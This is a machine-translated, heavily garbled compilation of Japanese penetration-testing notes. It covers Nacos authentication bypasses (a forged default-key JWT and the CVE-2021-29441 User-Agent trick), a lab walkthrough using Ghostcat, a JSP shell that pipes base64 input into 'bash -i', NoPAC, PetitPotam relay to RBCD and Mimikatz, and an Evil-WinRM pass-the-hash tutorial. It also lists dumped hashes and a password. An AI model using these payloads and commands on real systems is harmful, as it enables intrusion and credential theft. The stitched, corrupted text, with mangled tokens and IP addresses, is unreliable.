2021-01-17 22:04336016(13.8 MB/s)-Saved "/tmp/docker.tar.gz" [43834194/43834194]))

Docker Composeプログラムのダウンロードを開始します.

-2021-01-17 22:04336017--https://Get.daocloud.io/docker/compose/releases/dowdoload/1.27.4/docker-compose-linux-x86_64

ホストの解決get.daocloud.io(get.daocloud.io). 106.75.86.15

接続get.daocloud.io(get.daocloud.io)| 106.75.86.15 | :443 .接続。

HTTPリクエストが発行され、応答を待っています. 302が見つかりました

場所:https://DN-DAO-GITHUB-MIRROR.DAOCLOUD.io/docker/compose/releases/download/1.27.4/docker-compose-linux-x86_64 [新しいURLに従ってください]

-2021-01-17 223:04:28--- https://DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO/DOCKER/COMPOSE/RELEASES/DOWNLOAD/1.27.4/DOCKER-COMPOSE-LINUX-X86_64

ホストdn-dao-github-mirror.daocloud.io(dn-dao-github-mirror.daocloud.io). 240e:ff:a024:200:33603fe、 240E:964:100:302:33603FE、61.160.204.242、

DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO(DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO)| 240E:FF:A024:200:33603FE | :43 .接続。

HTTPリクエストが発行され、応答を待っています. 200 OK

長さ:12218968(12M)[アプリケーション/X-執行可能]

: "/tmp/docker-compose"に節約

/TMP/Docker-Compose

NACOS脆弱性の概要の再発

1。 NACOSデフォルトキーは、ログインをバイパスする許可を引き起こします

NACOS=2.1.0に影響を与える問題がNACOSで見つかり、デフォルトのJWTキーを使用してNACOSユーザーが不正アクセスの脆弱性を引き起こしました。この脆弱性により、攻撃者はユーザー名とパスワード認証をバイパスし、NACOSユーザーに直接ログインできます。

0x00脆弱性の説明

0.1.0=NACOS=2.2.0

0x01脆弱性の影響

FOFA:app='nacos'

0x02脆弱性検索

nacosでは、token.secret.key値は固定されており、場所はアプリケーションです。

image.png

nacos.core.auth.plugin.nacos.token.secret.key=secretkey0123456789012345678901234567890123456789012345678901234567899

1.トークンを取得し、このデフォルトキーを使用してJWT構造を実行し、背景を直接入力します。建設方法:

https://jwt.io/で:デフォルトキーを入力してください:

SecretKey012345678901234567890123456789012345678901234567890123456789

次に、ペイロードを入力します。

{

'sub':' nacos '、

'exp': 1678899909

}

ここで注:1678899909の値はUNIXタイムスタンプです。変換したい場合は、システム内の現在よりも遅くなります。たとえば、現在の時刻は2023年3月15日22:11:09で、ここでのタイムスタンプ時間は3月16日です。

image.png

image.png

知らせ:

以下は、JWT値をバイパス許可に鍛造するテスト結果です

1.タイムスタンプを拡張し、パスワードを投稿するのが間違っていて、ユーザー名が正しい

2。タイムスタンプを拡張し、パスワードを投稿し、ユーザー名エラーを拡張します

3.タイムスタンプを削除してください、投稿のパスワードが間違っています、ユーザー名が間違っています

上記の値をコピーし、げっぷのログインを選択して構成します。

eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6dstuko7s

image.png

あなたはそれを箱に自分で追加する必要があります:

POST/NACOS/V1/AUTH/USERS/LOGIN HTTP/1.1

HOST: 10.211.55.5:8848

user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10.15; RV3360104.0)Gecko/20100101 Firefox/104.0

Accept: Application/Json、Text/Plain、 */*

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Accept-Encoding: gzip、deflate

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 33

Origin: http://10.211.55.533608848

Connection:閉じます

Referer: http://10.211.55.533608848/nacos/index.html

Authorization: Bearer eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiiijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6dstuko7s

username=crowsecpassword=crowsec

この時点で、トークン情報を受け取りました。

HTTP/1.1 200

Vary: Origin

VARY: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

content-security-policy: script-src 'self'

set-cookie: jsessionid=d90cf6e5b233685e4a39c1b1bda9f185; path=/nacos; httponly

Authorization: Bearer eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiiijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6dstuko7s

Content-Type:アプリケーション/JSON

日付:水曜日、2023年3月15日14336013:22 GMT

Connection:閉じます

Content-Length: 197

{'AccessToken':'eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiijuywnvcyisimv4cci6mty3odg5otkwox0.di28c dy76jcvtmsgiim12c4pukjuuobz6j6dstuko7s '、' tokenttl':18000、 'globaladmin':true、' username':'nacos '}

この時点で、NACOSのトークン情報を受け取りました。

2。トークンを使用してログインしてバックグラウンドにログインする方法は?ここでは、偽のアカウントでログインしてから変更してパッケージに戻る必要があります。試してみてください:

最初に偽のアカウントでログインし、げっぷを使用して傍受:image.png

これは間違いなくアクセスできません。ここで返品パッケージを変更し、右クリックしてこれを読みます:

image.png

その後、ここで返される情報は間違いなく無効です:

image.png

ここでは、今すぐ生成されたリターンパッケージを使用して、それを交換し、すべてをコピーします。

image.png

再びフォワード:image.png

今、私はすでに入力したので:

image.png

3.デフォルトキーを使用してJWTを生成して現在のユーザー名とパスワードを表示します/nacos/v1/auth/users?accesstoken=eyjhbgcioiiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvc yisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuubz6j6dstuko7spageno=1pagesize=9 http/1.1host: {{hostname}} user-agent: mozilla/5.0accept-encoding: gzip、deflateconnection: closeif-midified-since:水、2023年2月15日gmtupgrade-insecure-requests: 1accesstoken: eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6dstuk7s4j6dstu7s4dstu7s.dstuko7sヘロナコス、そしてそれを正常に作成します

post/nacos/v1/auth/users http/1.1host: {{hostname}} user-agent: mozilla/5.0authorization: bearereyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4puk4pukjuobz6j6dstuko7siccechict-ecobjubz6dstuko7siccecepudipubz DeflateConnection: CloseUpgrade-Insecure-Requests: 1IF-Modified-Since:水曜日、2023年2月15日10:45:10 GMTCONTENT-TYPE3:アプリケーション/X-WWW-WWW-form-on-Length: 39

username=hellonacospassword=hellonacos

0x03脆弱性の再発

http://10.10.84.2073:8848/nacos/v1/auth/users?pageno=1pagesize=9search=quarceateaccesstokenhttp://your_ip:8848/nacos/v1/auth/?pageno=1pageno=1pageno 1049983-20230323105704604-273123776.jpg

2。 NACOSデフォルト構成不正アクセスの脆弱性

ServerIdentity

3。 NACOS2.2.0許可バイパス

追加ServerIdentity31049983-20230323105705306-318833055.jpg Addy ServerIdentity 1049983-20230323105705306-318833055.jpg (dnacos.core.auth.enabled=true)、authfilterサーブレットフィルターは、認証を強制するために使用されるため、認証チェックをスキップします。このメカニズムは、ユーザーエージェントHTTPヘッダーに依存するため、簡単にスプーフィングされます。この問題により、すべてのユーザーがNACOSサーバーで管理タスクを実行できる場合があります。

iv。 Nacos1.x.xバージョンユーザーエージェント許可バイパス((CVE-2021-29441)

Docker run -D -P 8848:8848 HGLIGHT/CVE-2021-29441

0x01脆弱性の説明

NACOS=1.4.1 :010101。 http://Target:88848/nacos/v1/auth/users?pageno=1pagesize=9戻り値が200であることがわかります。

Host: 192.168.246.138:8848

user-agent: nacos-server 1049983-20230323105706774-1149816692.png

または、コマンドを使用してアクセスしてください。ユーザーパスワードを読む:curl 'http://127.0.0.0.1:8848/nacos/v1/auth/users?pageno=1pagesize=9accesstoken=' -h 'user -agent: nacos-server'curl'http://127.0.0.13:8848/nacos/v1/auth/users?pageno=1pagesize=9search=blur'-h'user-agent3:nacos-server '

curl'http://127.0.0.133608848/nacos/v1/auth/users?pageno=1pagesize=9search=quarce'-h'user-agent:nacos-server'unauthorizedユーザーの追加curl-xpost'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1password=test1 '-h' user-agent:nacos-serverユーザーパスワードの変更curl-x put 'http://127.0.0.1:8848/nacos/v1/auth/users?accesstoken=' -h 'user -agent:nacos -server' -d 'username=test1newpassword=test2'read構成ファイルcurl-xget'http://127.0.0.133608848/nacos/v1/cs/configs?search=quarceatedataid=group=pageno=1pagesize=9 9'curl-xget'3http://127.0.0.1:8848/nacos/v1/cs/configs?search=bludataid=group=pageno=1pagesize=99 '

ヘッダーヘッダーを追加した後、POSTメソッドを使用してhttp://TARGET:88848/NACOS/V1/AUTH/USERS?USERNAME=VULHUBPASSWORD=valHubadd、アカウントパスワードはVulHubPost/Nacos/V1/use/users=hglightpassword=hglightpassword=hglightpassword=hglightpasswordです。

Host: 192.168.246.138:8848

user-agent: nacos-serverまたはpost/nacos/v1/auth/users http/1.1host: 192.168.31.643:88848Cache-control3360 max-age=0upgrade-insecure-Requerestess3360 1USer-agent: NACOS-Serveraccept-Encoding: GZIP、DERLATEACCEPT-LANGUAGE: ZH-CN、ZH; Q=0.9Connection: closecontent-type:アプリケーション/X-WWW-FORM-URLENCODEDEDEDEDEDCONTENT-LENGTENT-LENGTENT-LENGTEN 1049983-20230323105707562-1407732490.pngユーザーリストをもう一度表示します。返されたユーザーリストデータには、バイパス認証によって作成された追加の新しいユーザーがあります。

get/nacos/v1/auth/users/?pageno=1pagesize=9 http/1.1

Host: 192.168.246.138:8848

user-agent: nacos-server 1049983-20230323105708417-444131267.pngアクセスhttp://IP:8848/NACOSは新しいユーザーでログインします。

0x01 - 情報

TAG: Tomcat、NTLM、WebClient、COERCE AUTHURTINATION、NOPAC 5f3flifo2tk2965.png

0x02 - 再

ターゲット外部IP 47.92.146.66

NMAPの結果

ポート8009(AJP)に焦点を当てることは、Tomcat(射撃範囲のTomcatタグに対応)bv44lihq3zu2966.pngディレクトリスキャンを意味します。404ページはTomcat 9.0.30 f2dp2nzldoh2967.pngとして表示されます。

このプロジェクトでテストします

https://github.com/00theway/ghostcat-cnvd-2020-10487

/web-inf/web.xml yyqkiz4ro432968.pngを読み取ります

url-pattern結果は辞書4gvwxkrov1p2969.pngとして保存されます

FFUF vrdcpmabyoe2970.png

UploadServlet 1ghojgom34o2971.pngをフォローしてください

Temp.txt f0lkwzqqij32972.pngをアップロードします

ファイルアドレスc20vdvfozh52973.png./upload/7dbbdee357b4472f5aad6b8ce83980ddddddddddddddddddddddddddddddddddddd.

./upload to /uploadを交換し、アップロードされたファイルを正常に読み取ります

Python3 ajpshooter.py http://47.92.146.66:8080 8009/upload/7dbbbdee357b4472f5aad6b8ce83980dd/202212060934444444444444444444444444444444444444440839.t

asroozh1fbh2974.png

0x03 - Ghostcatコマンド実行

shell.txt m1qwehukkqp2975.png%java.io.inputStream in=runtime.getRuntime()。 {echo、zwnobyaic3nolxjzysbbqufbqjnoemfdmxljmkvbqufbrefrqujbqufcz1fdl3nkady4uk5hwktlaknqae40wuxpsnj4edr3n3n3jtbgcc FRMMTNYNHVKZLPFZM4YU25SCE9RDXQ0OE1LDURHOETDCXCZRW0ZNU9ODXXDUA2P3ZEKVRGHGN3ZSETB0T2XTWDE5NMJHCXPNDE5PM1YZUHEXC3NC mzv5ui85shj6zjvedhdqs2nkdkphv0ruzzu2uwhzjlnr21vduzvqwv2qjdsuwl3a01fnwnxtzvsqtrwum5kveh2ru1oqukxkkccc3mtbeewnkt28 rngh1tgnnvjzhdus3uxdktwdnn0oyu2u5tepgzwk2r2g0amjusgrhdmnbvvvjvvvvjzefi4qvnxsmnqy29tm2dmuee1uwnxszznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznzs r3cejwwwlfuglhchlqrqr2y1t3eruu0xqmjyr0gvtlrbynzwa3dznbkrurwdvbnnnwhofy4c09htjixczlwazfjmvbbxaeh2wdz1ejhradrndudnq lryshlzb3dutjg3otexvdvgr0vjvzlweuh1cm9fsvjtde9sy3dbymrmc0k0nvhos1o0awoxderlntrtmmpxwxhjtjhsl1zuunv2rvvotvpgoula bdm3uw5eqnbfr25ltxfjtve4chvuzujbmngvsurhmfr6mwxjvgk5whp5wjvhetd4dtjwzstidxhwt1bsq2m9iia+piavcm9vdc8uc3nol2ff1dghv CMML6ZWRFA2V5CWOKY2HTB2QGNJAWIC9YB290LY5ZC2GVYXV0AG9YAXPLZF9RZXLZCG==} | {base64、-D} | {bash、-i} ")。 int a=-1; byte [] b=new byte [2048]; out.print( "pre"); while((a=in.read(b))!=-1){out.println(new String(b)); } out.print( "/pre");%

shell.txt ohtcdxcxizk2976.pngアップロードされたコードnjmzvilq2ku2977.pngSSH - FLAG01 infa3uyxlcr2978.pngを実行する

0x04 - ポータルUbuntu:172.22.11.76

SSH 0zovuchzfwo2979.png何もありません。aveqdtov0iy2980.pngにアクセスしてエージェントjl5dqk2iqvv2981.pngを開き、3つのホスト情報をスキャンして445をスキャンします172.22.11.45 XR-Desktop.Xiaorang.Labab

172.22.11.6 Xiaorang-DC.Xiaorang.lab

172.22.11.26 XR-LCM3AE8B.XIAORANG.LAB qhwbwdlo4fb2982.png

172.22.11.45 - Windows7 - MS17 wfr31ur1rwl2983.pngMS17 1つのGO tv3venfc4p32984.png基本操作hzlrpv2tnjv2985.png 3ebw5nwtfn52986.pngに注意してください

資格リスト管理者4430C690B4C1AB3F4FE4F8AC0410DE4A - (ローカル資格情報)

John 03CAE082068E8D55EA307B75581A8859 - (ローカル資格情報)

XR-DESKTOP $ 3AA5C26B39A226AB2517D9C57EF07E3E - (ドメイン資格情報)

yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 - xrihghgonzq(プレーンテキスト) - (ドメイン資格情報)

私は組み合わせの爆破を試しました、何もありません、私はここでデモをスキップして、ドメイン侵入リンクf4z5nvg2x3r2987.pngに直接行きました

flag2 kf1fw5w1nav2988.pngドメインユーザーyangmeiをマシンのローカル管理者に追加するfd3gzkveokg2989.pngドメイン制御IPを172.22.11.6 - Xiaorang-DC y1vbpletioe2990.pngBloodhound Collection gcmdhbmoo0y2991.png

0x05 - ドメイン浸透リンク、入学xr-desktop:172.22.11.45

これをすばやく実行しましょう(1つの文で概要:ドメインコントロールを直接削除することはできません)、Bloodhoundによって収集されたユーザー名の組み合わせを使用して取得したパスワード/ハッシュの組み合わせが爆破されました。他の新しいユーザーはMAQ=0を持っていることがわかりませんでした。コンピューターを追加できません。現在のLDAPにはTLSがなく、コンピューターをリモートで追加することはできません。インパケットの追加コンピューターには2つの方法があります。 SAMRとLDAPS。 SAMRはMAQ=0によって制限されており、コンピューターを追加できません。 LDAPSはTLS + MAQ=0で制限されています。ドメイン制御はnoPACが存在します。現在のユーザーYangmeiはNOPACを使用しており、ドメイン内のコンピューターコンテナ内のCreateChildのACLドメイン制御を殺しません。現在のユーザーYangmeiは現在のWindows Machine XR-DeskTopに手紙の許可を得ていません。つまり、DFSCoerceとPetitpotamはSamacCountNameドメインで変更できませんが、CVE-2019-1040は存在しません。 exploit:ridter/nopac: cve-2021-42278およびcve-2021-42287を悪用して、標準ドメインユーザー(github.com)petitpotamスキャン52fl5fs4vg42992.png NO ADCS + Petitpotam + NTLM Leray Play Play Plye

攻撃チェーン:Petitpotamを使用して、脆弱性のターゲットをトリガーし、WebClientサービスを有効にします。 Petitpotamを使用してターゲットをトリガーして、HTTPリレーサービスにアクセスします。ターゲットは、WebClientを使用してNTLM認証を携帯してリレーにアクセスし、その認証をLDAPにリレーし、マシンアカウントのIDを取得し、マシンアカウントとして独自のMSDS-ActonBehalfofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofoforidentity属性をマシンアカウントとして修正し、悪意のあるマシンアカウントがターゲットマシン(RBCD)へのアクセスをシミュレートして認証できるようにします。ターゲットマシンは、WebClientサービスを有効にする必要があります。

WebClientスキャン、そしてそれが勝つことしかできないことが確認されています。 172.22.11.26(XR-LCM3AE8B)x4l04pmb4l22993.pngリレー攻撃序文:実際の戦闘でのリレープレイは、80の占有サービスを停止し、ポート転送を有効にする必要があり、CSは後続のバージョンでRPORTFWD_LOCOLを追加し、クライアントローカルに直接転送します)。このデモンストレーションは、実際の戦闘プレイに似ています。入り口ubuntuにインパケットを投げることは選択しません。この操作リレー攻撃環境は:ポート転送+プロキシを構成します

現在、サーバーの80をローカルクライアントの80に転送する必要があります。SSHのリバースポート転送は127.0.0.1にしかリストであるため、現時点ではいくつかのトリックが必要です。

図に示すように、リバースポートフォワードポート79がすべてを聞くように指定している場合でも(-R \*:793360127.0.0.1:80)、ポート79はまだ127.0.0.1に結合しています(Socks5プロキシも図)uuxpin5lqvo2994.png

余分なソサットを追加して、トラフィックを0.0.0.0336080に127.0.0.1336079に転送し、クライアント側のローカル80に戻し、80を0.0.0.0 myqxsqya22q2995.pngで変装させてリッスンします。

テスト、172.22.11.76:80からのトラフィックは、地元のエリアa3ujfdfuk2j2996.pngに直接転送されます

NTLMRELAYXを開くローカル注:前述のようにLDAPSがないため、addComputerを使用することはできないため、IPを使用してRBCDSUDO ProxyChainsを設定した後、IPを使用してDCに接続することはできません。 -NO-ACL -ESCALATE-USER 'XR-DESKTOP $' - DELEGATE-ACCESS nabg32phjzf2997.png Petitpotamを使用してXR-LCM3AE8Bを172.22.11.76(Ubuntu)ProxyChains4 -F〜/htb/htb/htb/htb/htb/htb/htb/spopychingにトリガーしますpetitpotam.py -u yangmei -p 'xrihghgonzq' -d xiaorang.lab ubuntu@80/pwn.txt xr -lcm3ae8b

RBCD攻撃が完了していることがわかります。次のステップは、XR-LCM3AE8Bの銀行ノートを直接申請することです。qz4fetl54p52998.png XR-LCM3AE8B CIFS Notes re3z0ciswku2999.pngに応募します

0x06 - ドメイン浸透リンク - NOPAC、入り口XR-LCM3AE8B:172.22.11.26

PSEXECFLAG03 IN C: \ USERS \ Administrator \ flag \ flag03.txt(ここにスクリーンショットなし)kfftv1wj0zl3000.pngSMBCLIENT.py 1232126B24CDF8C9BD2F788A9D7C7ED1

tkg12ri1mge3001.png

Zhanghuiだけが成功することができます。 Zhanghuiは、MA_ADMINグループにオブジェクトを作成できます。 MA_ADMINグループはコンピューター用のオブジェクトを作成できますが、BloodHound -B 'CN=コンピューター、DC=Xiaorang、DC=lab' ntsecuritydescriptor -sddl +++ 3ua4w4oelon3002.pngにadfind.exeは表示されませんでした。

Bloodhoundを見ることができません。主な理由は、CreateChildがJSON szj2yzvgn1s3003.pngに収集されず、NOPACに戻り、さらにCreate-Childパラメーターufwsw4ilyqm3004.pngに戻ったことです。

0x07 - ドメイン浸透リンク - Xiaorang-DC

NOPACが適用したCIFSチケットを使用して、DCFLAG04にログインします。 c: \ uses \ administrator \ flag \ flag04.txt(ここにスクリーンショットはありません)04o40qujktu3005.pngドメインチューブ(Mimikatzを使用してスキップ)管理者0FADB57F5EC71437D1B03EEA2CDA70B9

![[gbcrhiu21z53006.png

0x08 - 周りで遊ぶ

bloodhound.pyがcreatechildを収集できない問題を解決しようとします

Bloodhound/Enumeration/Acls.pyは実際に変数を定義しているため、ybouszjudka3007.pngと呼びます

170行目に来て、それを追加し、CreateChildを見つけて、データe020zojuslt3008.pngを追加します

Bloodhound.pyをもう一度実行し、コンテナの結果を観察し、すでに関連するデータがあることを確認します。 RID 1132=MA_ADMINグループcteptyqljev3009.png

Bloodhound Diagram、しかしデータはまだ面倒ですgo4jiixgh313010.png元のリンク:https://www.anquanke.com/post/id/285771

序文

Evil-WinRM

このツールは、もともとHackplayersチームによって開発されました。このツールを開発する目的は、特にMicrosoft Windows環境で、可能な限り浸透テストを簡素化することです。

Evil-WinRMはPowerShellリモートプロトコル(PSRP)を使用し、Windowsリモートはシステムとネットワーク管理者によってよく使用されます

管理プロトコルはアップロードおよび管理されています。 Winrmは、HTTPデフォルトポート5985を介して使用できるファイアウォールに優しいソーププロトコルです

HTTPトランスポートで使用。 PowerShellリモート処理の詳細については、公式Microsoft Webサイトをご覧ください。

https://Learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3

邪悪なwinrmの紹介

Evil-WinRMは、Ruby言語を使用して開発されたオープンソースツールです。このツールには、プレーンテキストパスワードを備えたリモートログインなど、多くのクールな機能があります。SSL

暗号化されたログイン、NTLMハッシュログイン、キーログイン、ファイル転送、ログストレージ、その他の機能。この開発ツールの著者は、ツールを常に更新し、長い間更新を維持しています。使用

Evil-WinRM、リモートホストのPowerShellコマンドターミナルセッションを取得できます。このツールはKali Linux Systemsに統合されていますが、個別にダウンロードする場合は、公式のGITリポジトリからダウンロードできます。

ダウンロードリンク:https: //github.com/hackplayers/evil-winrm

winrmサービスディスカバリー

上記のように、リモートホストで有効になっている場合

WinRMサービスは、Evil-WinRMツールの使用に関連付けられます。ターゲットシステムがWINRMサービスを有効にしているかどうかを確認するために、NMAPを使用して2つのデフォルトのWINRMサービスポート5895を見つけることができます。

5896オンになっているかどうか。 NMAPスキャンの結果から、WinRMサービスが有効になっていることがわかりました。そのため、邪悪なWINRMツールを使用して、水平フェーズで探索する他のタスクをログインして実行できます。

NMAP -P 5985、5986 192.168 .1 .19

1049983-20230310091812296-761646061.png

邪悪なwinRMヘルプコマンドヘルプ

Evil-WinRMの利用可能なすべての機能をリストするには、すべてのヘルプコマンドを記述してリストする-Hフラグを単に使用できます。

Evil-WinRM -H 1049983-20230310091813306-1791686835.png

プレーンテキストパスワードでログイン

アカウントの列挙フェーズでプレーンテキストパスワードを取得し、リモートホストがWinRMサービスを有効にしていることに気付いたとします。ターゲットシステムでターゲットシステムIPアドレスを使用して、ターゲットシステムでリモートセッションを実行できることに気付きました。下の図に示すように、リモートのPowerShellセッションが確立されていることがわかります。

Evil -WinRM -I 192.168.1.19 -U管理者-p Ignite@987 1049983-20230310091814013-1687837742.png

プレーンテキストパスワードでログイン - SSLを有効にする

上記のように、WINRMサービスはHTTPプロトコル上でトラフィックを輸送できます。その後、Secure Socketsレイヤー(SSL)機能を使用して、接続が安全であることを確認できます。 SSLが有効になると、データは暗号化されたセキュアソケットレイヤーを介して転送されます。 Evil -WinRMを使用して、-Sパラメーターを使用して、リモートホストを使用してセキュアな送信用のコマンドを確立できます。

邪悪なwinrm -i 192.168.1.19 -u管理者-p Ignite@987 -S 1049983-20230310091814913-1666008939.png

ntlmハッシュを使用したログイン - ハッシュによる攻撃

イントラネットの浸透または解像度

Windowsの許可エスカレーションとActive Directoryの使用率に関連するプロジェクトでは、さまざまな攻撃方法を通じてNTLMハッシュ値を取得することがよくあります。

Windows Intranet環境にいる場合は、パススルーハッシュ攻撃を実行することにより、Evil-WinRMを使用してPowerShellを作成できます

セッションは、リモートログインにプレーンテキストパスワードを使用する代わりに、ハッシュをパスワードとして使用できるようにします。さらに、この攻撃は他のプロトコルをサポートしています。ハッシュを渡すと、-hパラメーターを使用できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -H 32196B56F45E294117B91A83BF38 1049983-20230310091815919-322255289.png

load powershellスクリプト

Evil-WinRMは、ターゲットホストに付属のPowerShellスクリプトを使用できる機能も提供します。スクリプトはメモリに直接ロードでき、-sパラメーターを使用してターゲットシステムに接続されたPowerShellスクリプトの相対パスを使用できます。さらに、このツールは、スクリプトをインポートする前に必要なAMSI機能を提供します。次の例では、AMSI関数をバイパスし、システムから直接呼び出します

Invoke-Mimiktz.ps1スクリプトはターゲットホストに配置され、メモリにロードされます。その後、Mimikatzコマンドを使用できます。デモンストレーションのために、システムログイン資格情報をキャッシュから直接投棄しました。資格情報を投棄した後、ハッシュパス攻撃に取得したNTLMハッシュを再度使用できます。

https://github.com/clymb3r/powershell/blob/master/invoke-mimikatz/invoke-mimikatz.ps1

1049983-20230310091816698-1045152289.png

Evil -winrm -i 192.168.1.19 -u管理者-p Ignite@987 -s/opt/privsc/powershell

バイパス-4msi

Invoke-mimikatz.ps1

Invoke-Mimikatz 1049983-20230310091817650-2062958944.png

邪悪なwinrm

を使用してログを保存します

この関数は、リモートセッションを取得した後、実行コマンドのログがローカルシステムに保存されることを意味します。プロジェクトに取り組んでいるときは、後続のレポートと出力を実行するために資格情報を攻撃する必要があります。すべてのログは、-lパラメーターを使用してホストシステムに保存し、デフォルトで /root /vyol-winrm-logsディレクトリに保存できます。次の例では、IPConfigコマンドを同時に使用して、コマンド出力情報をホストシステムに保存できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -L 1049983-20230310091818503-1169021792.png

保存されたログコンテンツをチェックすることにより、コマンドログ出力が正常に保存されるかどうかを確認できます。上記のコマンドからのログ情報出力が保存されていることがわかります。

1049983-20230310091819303-1925120427.png

リモートフルパス関数を無効にします

デフォルトでは、ツールにはリモートフルパス機能が付属していますが、リモートパスフルパス機能を無効にする場合は、コマンドの-Nパラメーターを使用できます。個人がパスフル機能をオンまたはオフにすることを好むかどうかに依存しますが、自動フルパス機能に満足している場合は、デフォルト機能を自由に使用できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N 1049983-20230310091820319-334324530.png

カラーインターフェイスを無効にします

Evil-WinRMを使用してリモートセッションを作成するたびに、美しい色付きのコマンドラインインターフェイスが生成されます。それにもかかわらず、Color Interface機能を無効にする場合は、-Nパラメーターを使用してセッションを作成するときに機能を無効にすることもできます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N 1049983-20230310091821002-86216428.png

実行可能ファイルを実行します

この機能は、コマンドラインに掲載できないPowerShellセッションを実施しながら、評価中に遭遇するリアルタイムの問題と困難を解決するように設計されています。この場合、Evil-WinRMセッションでEXE実行可能ファイルを実行できるようにしたいと考えています。ターゲットシステムで実行する実行可能ファイルがあるとします。

1049983-20230310091821739-279820440.png

Hackplayersチームは再びツールを設計し、すべての実行可能ファイルをEvil-WinRM PowerShellセッションで実行するための追加機能を追加しました。同様に、-eパラメーターを使用してExe実行可能バイナリを実行できます。次の例では、winpeas.exe実行可能ファイルがローカルコンピューター /opt /privscディレクトリに保存され、追加の関数(邪悪なwinRMメニューのinvoke-binaryコマンド)を使用して実行します。この機能により、コマンドラインシェルで実行される任意のexeバイナリを実行できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P IGNITE@987 -E /OPT /PRIVSC

バイパス-4msi

メニュー

Invoke-binary /opt/privsc/winpeasx64.exe 1049983-20230310091822804-340723136.png

実行可能パスを設定したら、ターゲットシステムで実行する任意の実行可能ファイルを使用できます。次の例では、winpeasx64.exeを呼び出し、vyver-winRMを使用してターゲットシステムに実行します。

1049983-20230310091823704-102115081.png

サービスクエリに邪悪なwinrmを使用

時には、浸透後のテストツールがターゲットシステムで実行されているサービス名を検出できない場合があります。

この場合、Evil-WinRMを使用して、ターゲットシステムで実行されているサービス名を見つけることができます。これを行うには、メニューにもう一度移動してサービス機能を使用できます。

プログラムホストを実行しているすべてのサービスをリストします。

1049983-20230310091824661-464154626.png

邪悪なウィンルムを使用したファイル転送

Evil-WinRMが可能な限りシンプルにするために最善を尽くしたことは間違いありません。コマンド操作を実行するには、常に攻撃マシンからリモートマシンにファイルを転送する必要があります。また、Evil-WinRMツールは非常に実用的な機能を提供します。特に、ターゲットシステムに設定されたアウトバウンドトラフィックルールに直面している場合、およびプロキシでEvil-WinRMを使用する場合。次の例では、 /rootディレクトリのnotes.txtファイルをターゲットシステムにアップロードします。

1049983-20230310091825389-2110387118.png

ファイルは、ターゲットシステムから攻撃者のマシンにダウンロードされます。同様に、次のコマンドを使用してダウンロードできます。

notes.txt /root/raj/notes.txtをダウンロードしてください

1049983-20230310091826103-463726946.png

1049983-20230310091826844-1420175986.png

docker

の邪悪なwinrmを使用しています

このツールもインストールできます

Dockerで。 DockerにEvil-WinRMにインストールする場合は、Dockerからも呼び出すことができます。

メインシステムのように実行されます。これを行うには、Dockerの構文とEvil-WinRMコマンドに従って、Dockerから呼び出します。

docker run - rm -ti -name Evil -winrm oscarakaelvis/Evil -winrm -i 192.168.1.105 -u管理者-p 'Ignite@987' 1049983-20230310091827602-1375680794.png

邪悪なWINRMキーでログイン

Evil -WinRMを使用すると、パブリックキーとプライベートキーを使用してリモートセッションを確立し、-Kとプライベートキーを使用したパラメーター、および-Cおよびパブリックキーを使用したパラメーターを使用することもできます。さらに、-Sパラメーターを追加して、SSLが暗号化とセキュアの接続を有効にできるようにすることもできます。

Evil -winrm -i 10.129.227.105 -c certificate.pem -k priv -key.pem -s 1049983-20230310091828303-682569362.png

0x1情報

image

射撃範囲の住所:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu射撃範囲環境は、ウェブからイントラネット、ドメインまでの環境が完了しており、質問を設定するというアイデアは非常に良いです。興味があれば、遊ぶことができます。

0x2 recon

ターゲット外部IP39.98.34.149NMAP結果

\ username :管理者、パスワード:123456

image

コマンド実行image

0x03エントリポイント:172.22.4.36

シェルimage

すばやく通過します:エントリマシンには特別なものがなく、ルートする権限を上げることができません(ルートするために権限を上げる必要はありません)。 stapbpf suidは使用できませんでした

DIFF SUID imageFLAG01DIFF-LINE-FORMAT=%L/DEV/NULL /HOME/FLAG/FLAG01.TXT imageFLAG01

3つのマシン172.22.4.19 fileserver.xiaorang.labの情報を取得します

172.22.4.7 DC01.XIAORANG.LAB

